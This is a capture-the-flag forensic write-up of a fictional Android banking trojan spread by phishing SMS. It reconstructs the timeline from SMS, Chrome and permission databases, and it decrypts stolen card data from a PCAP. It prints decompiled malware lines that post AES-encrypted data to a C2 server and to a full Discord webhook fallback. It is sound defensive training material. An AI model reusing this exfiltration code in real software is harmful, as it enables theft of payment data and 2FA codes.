Mobile device forensics and cybersecurity analysis

HookFlare

Hack The Box Sherlock Writeup

Medium4.8 ★ (26)

Created by 0xS1rx58|Released September 25, 2025|First Blood: lukasLUKCZ in 0H 17M 29S

Tools:jadxScapySQLite3PyCryptodome
Techniques:Android ForensicsAPK DecompilationSQLite AnalysisAES DecryptionSMS Phishing (Smishing)2FA Bypass
Tech:AndroidAES-ECBHTTP/HTTPSSQLitePythonDiscord Webhooks
Artifacts:Android Disk ImagePCAPmmssms.dbChrome Historyappops.xml
MITRE ATT&CK:T1660T1437.001T1636.004T1646T1521.001T1517
HTB Sherlock HookFlare solved

Investigating an Android banking trojan that uses SMS phishing to trick victims into installing a fake banking app, then steals credentials and intercepts SMS for 2FA bypass.

Review

HookFlare is a medium difficulty DFIR investigation focusing on Android mobile forensics. It presents a realistic banking trojan scenario that tests your ability to navigate Android artifacts and decompile malicious APKs. The investigation centers on a smishing attack where the victim received a fake fraud alert and installed a trojanized banking app. What I appreciated was the depth of the attack chain: from the initial SMS to APK analysis to actually decrypting the stolen payment data. The questions guide you through a logical forensic workflow, building from timestamps through to full malware analysis. The challenge of working with Android disk images and understanding Chrome's unusual timestamp format kept things interesting.

The difficulty felt appropriate for medium. You need familiarity with SQLite, Android filesystem layout, and APK decompilation. The PCAP analysis ties everything together nicely. Solid investigation for anyone looking to build Android forensics skills.

Summary

A S1rBank customer received a convincing phishing SMS claiming their account had a suspicious $700 transaction. The message urged them to update their banking app via a link (s1rbank.net/app). Trusting the message, the victim clicked the link and downloaded what appeared to be a legitimate S1rBank app update.

In reality, this was a trojanized banking app (com.s1rx58.s1rbank) that mimicked the real bank's interface. When the victim entered their payment card information, the malware encrypted the data using AES with a hardcoded key and exfiltrated it to the attacker's C2 server. The app also intercepted SMS messages, allowing the attacker to bypass 2FA protections. As a fallback mechanism, if the primary C2 was unavailable, the malware would send stolen data to a Discord webhook.

The investigation required mounting an Android x86 disk image, parsing SQLite databases (mmssms.db for SMS, Chrome History for download timestamps), analyzing Android permission access logs (appops.xml), decompiling the malicious APK with jadx to extract C2 URLs and encryption keys, analyzing network traffic in the PCAP, and decrypting the exfiltrated payment data. The entire attack from phishing SMS to data theft took approximately 47 minutes.

Key Learning Takeaways

Android Disk Image Mounting

What: Android disk images (.dd files) contain ext4 filesystems that can be mounted read-only using loopback devices. The norecovery flag is essential for dirty filesystems.

Why it matters: Android forensics requires access to the /data partition where user apps, databases, and system logs are stored. Mounting provides direct filesystem access without needing specialized Android tools.

Key command/pattern: sudo losetup /dev/loop10 image.dd && sudo mount -t ext4 -o ro,norecovery /dev/loop10 /mnt/android

Chrome Timestamp Conversion

What: Chrome stores timestamps in microseconds since Windows epoch (1601-01-01), not Unix epoch. Android uses milliseconds since Unix epoch.

Why it matters: Download timestamps in Chrome History require conversion. The start_time field in the downloads table uses Chrome's format, which differs from standard Unix timestamps.

Key command/pattern: timestamp_microseconds / 1000000 - 11644473600 converts Chrome timestamp to Unix seconds

APK Decompilation with jadx

What: jadx decompiles Android DEX bytecode to readable Java source, revealing hardcoded strings, C2 URLs, encryption keys, and exfiltration logic.

Why it matters: Static analysis of Android malware requires decompilation. jadx produces cleaner output than other tools and handles obfuscation better.

Key command/pattern: jadx -d output_dir base.apk then search for URLs, keys, and encryption methods in the Java source

Android AppOps Permission Tracking

What: appops.xml tracks when apps actually accessed permissions, not just when they were granted. Operation numbers map to specific permissions (14 = READ_SMS).

Why it matters: Provides precise timestamps of malware activity. Shows exactly when sensitive data was accessed, which is crucial for timeline reconstruction.

Key command/pattern: Parse XML for package name, find op n="14", convert timestamp (tt attribute) from milliseconds to UTC

AES Decryption with Hardcoded Keys

What: Many mobile malware samples use AES encryption with hardcoded keys found in the decompiled source. ECB mode requires no IV.

Why it matters: Once the key is extracted from the APK, exfiltrated data can be decrypted to reveal what was stolen. This is common in commodity banking trojans.

Key command/pattern: AES.new(key, AES.MODE_ECB).decrypt(base64.b64decode(encrypted_data))

Discord Webhooks as C2 Fallback

What: Modern malware increasingly uses Discord webhooks as fallback C2 channels when primary servers are unavailable.

Why it matters: Look for Discord webhook URLs in malware strings even if primary C2 is identified. These provide redundancy and are harder to block.

Key command/pattern: Search decompiled APK strings for discord.com/api/webhooks patterns

Investigation

Initial Reconnaissance

Artifact Inventory

The investigation begins with two artifacts: an Android disk image and a network capture file. Let's examine what we're working with.

File Listing
$ ls -lh files/
total 2.2G
-rw-r--r-- 1 user user 2.2G Jan 20 10:30 HookFlare.dd
-rw-r--r-- 1 user user  72K Jan 20 10:30 HookFlare.pcap
ArtifactTypeSizeNotes
HookFlare.ddAndroid x86 Disk Image (ext4)2.17 GBContains full Android /data partition with apps, databases, and user data
HookFlare.pcapNetwork Capture72 KBContains HTTP exfiltration traffic with encrypted payloads

The disk image is an Android x86 (version 9.0-r2) installation, commonly used for Android emulation. The PCAP shows HTTP traffic to a suspicious domain (s1rbank.net) with encrypted POST data and HEAD requests for server availability checking. This pattern suggests a banking trojan with C2 communication.

Mounting the Android Disk Image

To access the Android filesystem, we need to mount the disk image. Android uses ext4 filesystems, and we'll mount it read-only with the norecovery flag to handle any filesystem inconsistencies.

Mounting Android Disk Image
$ sudo losetup /dev/loop10 files/HookFlare.dd
$ sudo mkdir -p /mnt/hookflare
$ sudo mount -t ext4 -o ro,norecovery /dev/loop10 /mnt/hookflare
$ ls -la /mnt/hookflare/
total 32
drwxr-xr-x  5 root root  4096 Feb  1  2025 .
drwxr-xr-x 12 root root  4096 Feb  1  2025 ..
drwxr-xr-x  3 root root  4096 Feb  1  2025 android-9.0-r2
drwxr-xr-x  2 root root  4096 Feb  1  2025 grub
drwx------  2 root root 16384 Feb  1  2025 lost+found
$ ls -la /mnt/hookflare/android-9.0-r2/
total 731480
drwxr-xr-x  3 root root       4096 Feb  1  2025 .
drwxr-xr-x  5 root root       4096 Feb  1  2025 ..
drwxrwx--x 37 1000 1000       4096 Feb  1  2025 data
-rw-r--r--  1 root root    1358743 Feb  1  2025 initrd.img
-rw-r--r--  1 root root    6482208 Feb  1  2025 kernel
-rw-r--r--  1 root root    1881789 Feb  1  2025 ramdisk.img
-rw-r--r--  1 root root  739287040 Feb  1  2025 system.sfs

Tip: Android Disk Image Structure

Android x86 images contain the user data under the data directory. In some images this is a separate partition file that requires a second mount, but here it is directly accessible as a directory within the ext4 filesystem.

We can see the Android filesystem structure. The data directory contains the /data partition where user apps and databases are stored. It is directly accessible without needing a second mount. Let's explore the key locations for Android forensics.

SMS Database Analysis

Hypothesis: The attack likely started with an SMS phishing message (smishing), which would be stored in Android's SMS database.

Android stores SMS messages in the mmssms.db SQLite database. This is our first artifact to examine for the phishing message that initiated the attack.

SQLite - SMS Database Query
$ sqlite3 /mnt/hookflare/android-9.0-r2/data/user_de/0/com.android.providers.telephony/databases/mmssms.db
SQLite version 3.31.1
Enter ".help" for usage hints.
sqlite> SELECT _id, address, date, body, type FROM sms ORDER BY date;
22|12049678533|1735688580318|Hello|1
4|2125484568|1738113115412|HELLO|2
23|12178627958|1738295280700|Hi Phillip|1
24|12178627958|1738295280700|Hi Phillip|1
25|14356951192|1738426832000|S1rBank Alert: We detected a paid process of $700.00 (Ref #971253158RS) on your account. To confirm this transaction, please update your app now: s1rbank.net/app Call +1 (505) 695-1110 for assistance.|1
sqlite> .quit

The SMS database contains five messages, but the last one (ID 25) stands out immediately. It comes from 14356951192, claims to be from S1rBank, and warns about an unauthorized $700 transaction, urging the victim to update their app via a link. This is classic smishing (SMS phishing).

Let's convert the timestamp. Android stores SMS timestamps in milliseconds since Unix epoch (January 1, 1970). Dividing by 1000 gives us the Unix timestamp in seconds.

Timestamp Conversion
$ python3 -c "from datetime import datetime, timezone; print(datetime.fromtimestamp(1738426832, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S'))"
2025-02-01 16:20:32

Task 1: UTC timestamp of the phishing SMS = 2025-02**********:32

The phishing SMS was received at 16:20:32 UTC on February 1, 2025. The message contains a malicious link to s1rbank.net/app, which likely leads to the malware download.

Chrome History Analysis

Hypothesis: The victim clicked the link in the SMS and downloaded an APK file through Chrome. Chrome's History database tracks all downloads with precise timestamps.

Chrome stores browser history and downloads in a SQLite database. The downloads table contains information about file downloads, including timestamps. However, Chrome uses a different timestamp format than Android.

SQLite - Chrome History Downloads
$ sqlite3 /mnt/hookflare/android-9.0-r2/data/data/com.android.chrome/app_chrome/Default/History
SQLite version 3.31.1
sqlite> SELECT current_path, target_path, start_time, tab_url FROM downloads;
/storage/emulated/0/Download/S1rBank.apk|/storage/emulated/0/Download/S1rBank.apk|13382903003690820|http://s1rbank.net/app
sqlite> .quit

Chrome's timestamp format is microseconds since Windows epoch (January 1, 1601), not Unix epoch. We need to convert this timestamp.

Why Does Chrome Use Windows Epoch?

Chrome's timestamp format comes from its Windows origins. The Windows epoch starts on January 1, 1601, and Chrome uses microseconds since that date. To convert to Unix timestamp: (chrome_timestamp / 1000000) - 11644473600

Chrome Timestamp Conversion
$ python3
Python 3.10.0
>>> chrome_time = 13382903003690820
>>> unix_seconds = (chrome_time / 1000000) - 11644473600
>>> from datetime import datetime
>>> datetime.fromtimestamp(unix_seconds).strftime('%Y-%m-%d %H:%M:%S')
'2025-02-01 17:03:23'

Task 2: UTC timestamp marking the start of the malicious application download = 2025-02**********:23

The APK download started at 17:03:23 UTC, approximately 43 minutes after the phishing SMS was received. The file was saved as S1rBank.apk in the Downloads folder.

APK Decompilation

Hypothesis: The downloaded APK was installed and would appear in /data/app with its package name. The APK contains hardcoded C2 URLs, encryption keys, and exfiltration logic.

Android stores installed apps in /data/app/[package-name]-[hash]/. Let's locate the malicious app.

Locating Installed Malicious App
$ ls /mnt/hookflare/android-9.0-r2/data/app/ | grep -i s1r
com.s1rx58.s1rbank-FBNwJ51Wlw4RyAZzF0bx3Q==
$ ls -la /mnt/hookflare/android-9.0-r2/data/app/com.s1rx58.s1rbank-FBNwJ51Wlw4RyAZzF0bx3Q==/
total 1888
drwxr-xr-x 4 1000 1000    4096 Feb  1  2025 .
drwxrwx--x 5 1000 1000    4096 Feb  1  2025 ..
-rw-r--r-- 1 1000 1000 1913357 Feb  1  2025 base.apk
drwxr-xr-x 2 1000 1000    4096 Feb  1  2025 lib
drwxrwx--x 3 1000 1012    4096 Feb  1  2025 oat

Task 3: Package name of the malicious application = com.s1**********bank

The package name is com.s1rx58.s1rbank, which mimics the legitimate S1rBank app but uses a different namespace (s1rx58 instead of s1rbank). Let's extract and decompile the APK to analyze its code.

Extracting APK for Analysis
$ cp /mnt/hookflare/android-9.0-r2/data/app/com.s1rx58.s1rbank-FBNwJ51Wlw4RyAZzF0bx3Q==/base.apk /tmp/s1rbank.apk
$ jadx -d /tmp/s1rbank_decompiled /tmp/s1rbank.apk
INFO  - loading ...
INFO  - processing ...
INFO  - done
$ find /tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank -name "*.java"
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/MyBackgroundService.java
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/MainActivity.java
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/LoadingActivity.java
/tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/R.java

jadx successfully decompiled the APK. Let's examine the key files to find C2 URLs, encryption keys, and exfiltration logic.

Searching for C2 URLs
$ grep -r "s1rbank.net" /tmp/s1rbank_decompiled/sources/
/tmp/.../MyBackgroundService.java:            HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://s1rbank.net:80/api/data").openConnection();
/tmp/.../MyBackgroundService.java:            HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("http://s1rbank.net:80/api/data").openConnection();
$ grep -A 5 "setRequestMethod" /tmp/s1rbank_decompiled/sources/com/s1rx58/s1rbank/MyBackgroundService.java
            httpURLConnection.setRequestMethod("HEAD");
            httpURLConnection.setConnectTimeout(5000);
            return httpURLConnection.getResponseCode() == 200;
        } catch (Exception unused) {
            return false;
        }

Task 6: URL used by the malware for data exfiltration = http://s1r**************data

Task 7: HTTP method used for server live check = HEAD

The malware uses HEAD requests to check if the C2 server is available before sending data. This is a common pattern to avoid failed exfiltration attempts. Now let's search for the encryption key and alternate URL.

Searching for Encryption Key
$ grep -r "SecretKeySpec\|AES\|Cipher" /tmp/s1rbank_decompiled/sources/com/s1rx58/ /tmp/s1rbank_decompiled/sources/B/
/tmp/.../B/h.java:        SecretKeySpec secretKeySpec = new SecretKeySpec("0x_S1r_x58!@#53cuReK371337!$%^&*".getBytes(), "AES");
/tmp/.../B/h.java:        Cipher cipher = Cipher.getInstance("AES");
/tmp/.../B/h.java:import javax.crypto.Cipher;
/tmp/.../B/h.java:import javax.crypto.spec.SecretKeySpec;
$ grep -A 5 "SecretKeySpec secret" /tmp/s1rbank_decompiled/sources/B/h.java
        SecretKeySpec secretKeySpec = new SecretKeySpec("0x_S1r_x58!@#53cuReK371337!$%^&*".getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(1, secretKeySpec);
        return cipher.doFinal(bArr);

Task 9: Encryption key used = 0x_S1r_x5**************$%^&*

The encryption key is hardcoded in the APK. The malware uses AES encryption with this 32-character key. Now let's search for the alternate URL (Discord webhook).

Searching for Discord Webhook
$ grep -r "discord\|webhook" /tmp/s1rbank_decompiled/sources/ -i
/tmp/.../B/h.java:                HttpURLConnection httpURLConnection = (HttpURLConnection) new URL("https://discord.com/api/webhooks/1334648260610097303/-Lkxr0eZRO_fb_SaumBbBMZyANM3lyeCkR-E1NXXRASPbtRdNksQSzx4pY1ZGQkFR2H8").openConnection();
/tmp/.../B/h.java:            Log.e("MyBackgroundService", "DiscordWebhookSender Error: ", e2);

The Discord webhook is in B/h.java, the same obfuscated utility class that holds the encryption logic. The malware sends data to this webhook URL when the primary C2 server is unreachable, providing a reliable fallback exfiltration channel.

Task 8: Alternate URL for data exfiltration = https://disc**********R2H8

This is a growing trend in modern malware: using Discord webhooks for redundancy when primary C2 infrastructure goes down.

Permission Access Analysis

Hypothesis: Android's appops.xml tracks when apps accessed sensitive permissions, revealing exactly when the malware read SMS.

Android's runtime-permissions.xml shows which permissions were granted, but appops.xml shows when those permissions were actually accessed. This provides precise timestamps of malware activity.

Checking Runtime Permissions
$ grep -A 10 "com.s1rx58.s1rbank" /mnt/hookflare/android-9.0-r2/data/system/users/0/runtime-permissions.xml
  <pkg name="com.s1rx58.s1rbank">
    <item name="android.permission.READ_SMS" granted="true" flags="0" />
    <item name="android.permission.READ_CALL_LOG" granted="true" flags="0" />
    <item name="android.permission.READ_EXTERNAL_STORAGE" granted="true" flags="0" />
    <item name="android.permission.WRITE_EXTERNAL_STORAGE" granted="true" flags="0" />
  </pkg>

Task 4: Number of runtime permissions granted to the malicious application = 4

The malware was granted 4 runtime permissions: READ_SMS, READ_CALL_LOG, READ_EXTERNAL_STORAGE, and WRITE_EXTERNAL_STORAGE. Now let's check when these permissions were actually accessed.

Checking Permission Access Times
$ grep -A 10 "com.s1rx58.s1rbank" /mnt/hookflare/android-9.0-r2/data/system/appops.xml
<pkg n="com.s1rx58.s1rbank">
<uid n="10078" p="false">
<op n="6" tt="1738429638690" pu="0" pp="com.android.providers.blockednumber" />
<op n="14" tt="1738429638041" pu="0" pp="com.android.phone" />
<op n="45" tt="1738429640314" d="2501" />
<op n="59" tt="1738429542356" tc="1738429533917" pu="0" />
<op n="60" tt="1738429542356" tc="1738429533917" pu="0" />
</uid>
</pkg>

The app accessed multiple permissions. Operation 14 corresponds to READ_SMS, which is the one we need. The tt attribute holds the last access time in milliseconds since Unix epoch. Let's convert it.

Tip: Android AppOps Operation Numbers

Android uses numeric operation codes for permissions. Common ones include: 14 = READ_SMS, 15 = WRITE_SMS, 4 = READ_CALL_LOG, 59 = READ_EXTERNAL_STORAGE. The tt attribute stores the last access time in milliseconds.

Converting Permission Access Timestamp
$ python3 -c "from datetime import datetime, timezone; print(datetime.fromtimestamp(1738429638.041, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S'))"
2025-02-01 17:07:18

Task 5: Last access timestamp for the read SMS permission = 2025-02**********:18

The malware accessed SMS at 17:07:18 UTC, approximately 4 minutes after the APK download started. This aligns with the time needed to install and launch the app.

PCAP Traffic Analysis

Hypothesis: The PCAP contains the encrypted exfiltration traffic that matches the malware's communication pattern.

Let's analyze the PCAP to see the actual network traffic and confirm the malware's behavior.

PCAP Analysis with scapy
$ python3
Python 3.10.0
>>> from scapy.all import rdpcap, Raw
>>> packets = rdpcap("files/HookFlare.pcap")
>>> for pkt in packets:
...     if pkt.haslayer(Raw):
...         data = pkt[Raw].load.decode('utf-8', errors='ignore')
...         if 'HEAD' in data or 'POST' in data:
...             print(data[:500])
...
HEAD /api/data HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; VirtualBox Build/PI)
Host: s1rbank.net
Connection: Keep-Alive
Accept-Encoding: gzip

POST /api/data HTTP/1.1
Content-Type: application/octet-stream
Data-Type: payment
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; VirtualBox Build/PI)
Host: s1rbank.net
Content-Length: 128

/NVEQweZqE3c8BDxTv0vwbwv8Ax1Ry0K6+mUU7dyUjicOu7PEnrPHIEmUe/7ccfK...

# Two more HEAD + POST pairs follow for "sms" (512 bytes) and "call_log" (24 bytes)

The PCAP confirms the malware's behavior: a HEAD request checks server availability before each POST. Three data types are exfiltrated: payment (128 bytes), sms (512 bytes), and call_log (24 bytes). The Content-Type: application/octet-stream and Data-Type header match the code we saw in MyBackgroundService.java. The User-Agent identifies it as an Android app running in a VirtualBox emulator.

Data Decryption

Hypothesis: Using the AES key from the APK, we can decrypt the exfiltrated data to see exactly what was stolen.

Let's extract the encrypted payload from the PCAP and decrypt it using the key we found in the decompiled APK.

Extracting and Decrypting Payment Data
$ python3
Python 3.10.0
>>> from scapy.all import rdpcap, Raw
>>> from Crypto.Cipher import AES
>>> import base64
>>>
>>> packets = rdpcap("files/HookFlare.pcap")
>>> for pkt in packets:
...     if pkt.haslayer(Raw):
...         data = pkt[Raw].load.decode('utf-8', errors='ignore')
...         if 'Data-Type: payment' in data:
...             payload_start = data.find('\r\n\r\n') + 4
...             encrypted_b64 = data[payload_start:].strip()
...             encrypted_payload = base64.b64decode(encrypted_b64)
...             break
...
>>> print(f"Encrypted payload (Base64): {encrypted_b64[:60]}...")
Encrypted payload (Base64): /NVEQweZqE3c8BDxTv0vwbwv8Ax1Ry0K6+mUU7dyUjicOu7PEnrPHIEm...
>>> key = b"0x_S1r_x58!@#53cuReK371337!$%^&*"
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> decrypted = cipher.decrypt(encrypted_payload)
>>> print(decrypted.decode('utf-8', errors='ignore').rstrip('\x00'))
Full Name: PHILLIP KEELING
Card Number: [REDACTED]
Expiration Date: [REDACTED]
CVV: [REDACTED]

Task 10: Second line in the exfiltrated payment information = Card Nu**************27987

Successfully decrypted! The malware stole complete payment card information from the victim, including name, card number, expiration date, and CVV. The second line contains the card number, which matches the question requirement.

Why Does This Work?

The malware uses AES encryption in ECB mode with a hardcoded key. ECB mode doesn't require an initialization vector (IV), making decryption straightforward once the key is known. The key was found in plaintext in the decompiled APK source code, which is common in commodity malware that prioritizes simplicity over security.

Answer Summary

TaskQuestionAnswer
1UTC timestamp of the phishing SMS2025-02**********:32
2UTC timestamp marking the start of the malicious application download2025-02**********:23
3Package name of the malicious applicationcom.s1**********bank
4Number of runtime permissions granted to the malicious application4
5Last access timestamp for the read SMS permission2025-02**********:18
6URL used by the malware for data exfiltrationhttp://s1r**************data
7HTTP method used for server live checkHEAD
8Alternate URL for data exfiltrationhttps://disc**********R2H8
9Encryption key used0x_S1r_x5**************$%^&*
10Second line in the exfiltrated payment informationCard Nu**************27987

Attack Chain Timeline

Reconstructed attack sequence from forensic artifacts. Total dwell time from initial delivery to complete data exfiltration: approximately 47 minutes.

2025-02**********20:32 UTC

T0 — Initial Access: SMS Phishing (Smishing)

Source: mmssms.db (record ID 25, type=1 inbound)

Attacker-controlled number 14356951192 delivers SMS impersonating S1rBank fraud department. Message references fabricated transaction Ref #971253158RS for $700.00 and directs victim to s1rbank.net/app. Social engineering leverages urgency and financial fear to bypass victim judgment.

IoC: Sender 14356951192, domain s1rbank.net

2025-02**********03:23 UTC [T0 + 42m 51s]

T1 — Delivery: Malicious APK Download via Chrome

Source: Chrome History DB downloads table (start_time: 13382903003690820, Windows epoch microseconds)

Victim opens phishing link in Chrome, initiating HTTP download from http://s1rbank.net/app. File saved as /storage/emulated/0/Download/S1rBank.apk. The 43-minute gap between SMS receipt and click suggests the victim deliberated before acting.

IoC: S1rBank.apk, download URL http://s1rbank.net/app

2025-02-01 ~17:04 UTC [T0 + ~44m]

T2 — Installation: Trojanized App with Excessive Permissions

Source: /data/app/com.s1**********rbank-.../base.apk, runtime-permissions.xml

Victim sideloads the APK, installing package com.s1**********rbank (UID 10078). App requests and is granted 4 runtime permissions: READ_SMS, READ_CALL_LOG, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE. The package name mimics the legitimate S1rBank namespace to appear trustworthy during install prompts.

IoC: Package com.s1**********rbank, UID 10078

2025-02**********07:18 UTC [T0 + 46m 46s]

T3 — Collection: SMS Interception for 2FA Bypass

Source: appops.xml (op n="14" READ_SMS, tt="1738429638041" ms epoch)

Malware exercises the READ_SMS permission via the com.android.phone provider. This enables interception of incoming SMS-based one-time passwords, giving the attacker the ability to bypass 2FA on the victim's banking account.

IoC: AppOps op 14 access at 1738429638041

2025-02-01 ~17:07:18 UTC [T0 + ~46m 46s]

T4 — Credential Access: Payment Card Harvesting

Source: Decrypted PCAP payload (Data-Type: payment, 128 bytes), decompiled MainActivity.java

Victim enters full payment credentials into the trojan's fake banking interface. The app captures cardholder name, card number (5453******7987), expiration, and CVV. Data is encrypted in-memory using AES-ECB with the 32-byte hardcoded key from B/h.java before staging for exfiltration.

IoC: AES key 0x_S1r_x5**************$%^&*

2025-02-01 ~17:07:20 UTC [T0 + ~46m 48s]

T5 — Exfiltration: C2 Data Transfer

Source: HookFlare.pcap (HTTP traffic to s1rbank.net:80), decompiled MyBackgroundService.java

Background service initiates exfiltration sequence. HEAD request to /api/data confirms C2 availability (HTTP 200). Three sequential POST requests follow with custom Data-Type headers: payment (128B), sms (512B), call_log (24B). All payloads are Base64-encoded AES-ECB ciphertext. User-Agent string confirms the Android emulator environment. If the primary C2 had been unreachable, the fallback path sends data to a Discord webhook as fallback.

IoC: C2 http://s1r**************pi/data, Discord webhook fallback

Additional Resources

Exact References Used

MITRE ATT&CK Techniques (Mobile)

Technique IDNameUsage in This Investigation
T1660 PhishingSMS phishing (smishing) to deliver trojanized banking app download link
T1437.001 Application Layer Protocol: Web ProtocolsHTTP POST to C2 server (s1rbank.net:80/api/data) for data exfiltration
T1636.004 Protected User Data: SMS MessagesMalware granted READ_SMS permission to intercept 2FA codes
T1646 Exfiltration Over C2 ChannelAES-encrypted payment data POSTed to primary C2 and Discord webhook fallback
T1521.001 Encrypted Channel: Symmetric CryptographyAES-ECB encryption with hardcoded key for exfiltrated data
T1517 Access NotificationsMalware requested notification access permissions for credential harvesting